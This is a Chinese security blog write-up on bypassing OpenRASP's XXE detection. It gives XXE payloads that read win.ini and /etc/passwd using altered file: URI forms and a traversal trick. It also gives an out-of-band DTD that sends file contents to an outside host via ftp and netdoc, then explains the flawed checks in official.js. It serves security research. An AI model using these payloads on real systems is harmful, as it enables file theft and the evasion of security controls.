OpenRasp xxe算法的几种绕过方式

阅读量    144772 | 评论 1

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

openrasp检测xxe漏洞有3种算法。本文主要是讲对“算法2 – 使用 ftp:// 等异常协议加载外部实体”与”算法3 – 使用 file:// 协议读取文件”的绕过。

测试环境

windows / tomcat
目前openrasp最新版本是1.3.7-beta。

官网安装说明,https://rasp.baidu.com/doc/install/software.html。
按照官网说明安装完后,把官方提供的测试案例vulns.war放入tomcat下webapp目录即可。
此处装的是单机模式,没有管理后台,还需要修改tomcat根目录下rasp/plugins/official.js中如下配置,以开启拦截。

环境部署完后,访问vulns测试案例。响应头里面如果有openrasp字样,说明openrasp部署成功。

 

openrasp xxe算法

openrasp对xxe漏洞有3种检测算法。

算法1
开启算法1后,openrasp会在解析器解析xml之前,通过反射调用解析器对象的setFeature()方法,让解析器不解析xml的外部实体,相当于openrasp会自动修复xxe漏洞。
以java dom方式解析xml为例

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 从效果上讲,算法1相当于openrasp会自动添加并运行下面这一行代码
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);  // 禁用DTDs (doctypes),几乎可以防御所有xml实体攻击。
DocumentBuilder builder = factory.newDocumentBuilder();
Document d = builder.parse("src/main/resources/demo.xml");    // 解析XML

考虑到正常业务可能也会使用到外部实体,该算法默认配置是ignore,相当于关闭。

算法2
根据注释可以看出,算法2会通过黑名单机制检查是否使用异常协议加载外部实体。目前黑名单会检查ftp、dict、gopher、jar、netdoc这几种协议。算法2默认开启拦截。

算法3
从注释可以看出,算法3会检查file协议的使用情况,默认不拦截,读取不”正常”文件也只是记录日志。

 

算法3 – 使用file://协议读取文件绕过

windows环境

默认算法3配置为log,不拦截。由于是部署在windows上,点击页面中第二个URL链接,成功读取到c:/windows/win.ini文件内容。

给007-xxe.jsp文件发送的data参数值url解码后内容如下

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>

修改official.js文件,配置算法3为block。

再次触发上述请求,openrasp就会进行拦截。

burpsuite中该请求和响应内容如下

删除请求data参数中file协议后面2个/字符,即%2F,就能成功绕过openrasp了。

删除请求data参数中file协议后面3个/字符,也能绕过。

如之前所述,正常使用file协议读取文件,xxe算法3开启后,openrasp会拦截

file:///c:/windows/win.ini
file:///etc/passwd

但使用如下方式,就能成功绕过xxe算法3了

file:/c:/windows/win.ini        // 删除file协议后面2个/
file:c:/windows/win.ini            // 删除file协议后面3个/

算法3还有另外一种绕过方法。

file://localhost/c:/windows/win.ini

验证如下

Linux环境

file:/etc/passwd    // 可以
file:etc/passwd        // 失败
file://localhost/etc/passwd     // 可以

file:etc/passwd没有被拦截,但也读取不到文件。但可以修改后使用下面这个payload,就能读取到/etc/passwd文件内容了。

file:../../../../../../../../etc/passwd

 

算法2 – 使用ftp://等异常协议加载外部实体绕过

算法2默认开启拦截。为了方便,把上面的算法3拦截关闭,修改为默认值log。

先拿xxe ftp的测试payload试下。给007-xxe.jsp的data参数传递如下值

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://127.0.0.1:9000/1.dtd">
%remote;
%send;
]>
<data>4</data>

1.dtd文件内容如下。(因为openrasp会拦截,所以就不用起一个ftp服务,所以ftp协议后的主机地址没改。)

<!ENTITY % payload SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;

可以看到触发了拦截。

此时只要把1.dtd文件中ftp改为netdoc,并同样删除后面2个/。修改后1.dtd的内容如下。

<!ENTITY % payload SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'netdoc:publicServer.com/%payload;'>">
%param1;

再重放上面的请求。这个时候openrasp不会拦截,但报错语句中显示了c:/windows/win.ini的文件内容。

这种绕过如果java关闭了报错,应该就不行了。测试时发现即使算法3也同时开启了拦截,依然会报错显示被读取的文件内容。

 

绕过原理简单分析

算法3开启拦截后,发送如下请求

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>

official.js接收到openrasp agent传递过来的params值,其中params.entity的值是”file:///c:/windows/win.ini”。
按照”://“切割params.entity值后,生成一个数组items。items数组的第一元素保存了使用的协议,即”file”,第二元素保存了要读取的文件的位置,即”/c:/windows/win.ini”。由于items.length等于2,所以会进入下面第二个箭头处的if语句内。又由于满足下面第三个箭头处的if语句条件,所以会进入该if语句进而触发拦截。

当发送如下请求时

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:/c:/windows/win.ini" >]><foo>&xxe;</foo>

或者

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:c:/windows/win.ini" >]><foo>&xxe;</foo>

params.entity的值会是”file:/c:/windows/win.ini” 或者”file:c:/windows/win.ini” ,按照”://“进行切割,生成的items数组长度永远小于2,所以会直接运行到末尾的”return clean”处,从而绕过。

当发送如下请求时

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [   <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file://localhost/c:/windows/win.ini" >]><foo>&xxe;</foo>

上面is_absolute_path()函数中path参数值会是”localhost/c:/windows/win.ini”。linux系统情况时,path的值会是类似”localhost/etc/passwd”。分析函数代码,可以看出这种情况下is_absolute_path()函数返回值永远是false。

function is_absolute_path(path, is_windows) {

    // Windows - C:\\windows
    if (is_windows) {

        if (path[1] == ':')
        {
            var drive = path[0].toLowerCase()
            if (drive >= 'a' && drive <= 'z')
            {
                return true
            }
        }
    }

    // Unices - /root/
    return path[0] === '/'
}

 

参考

file URI scheme
XXE修复方案参考

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多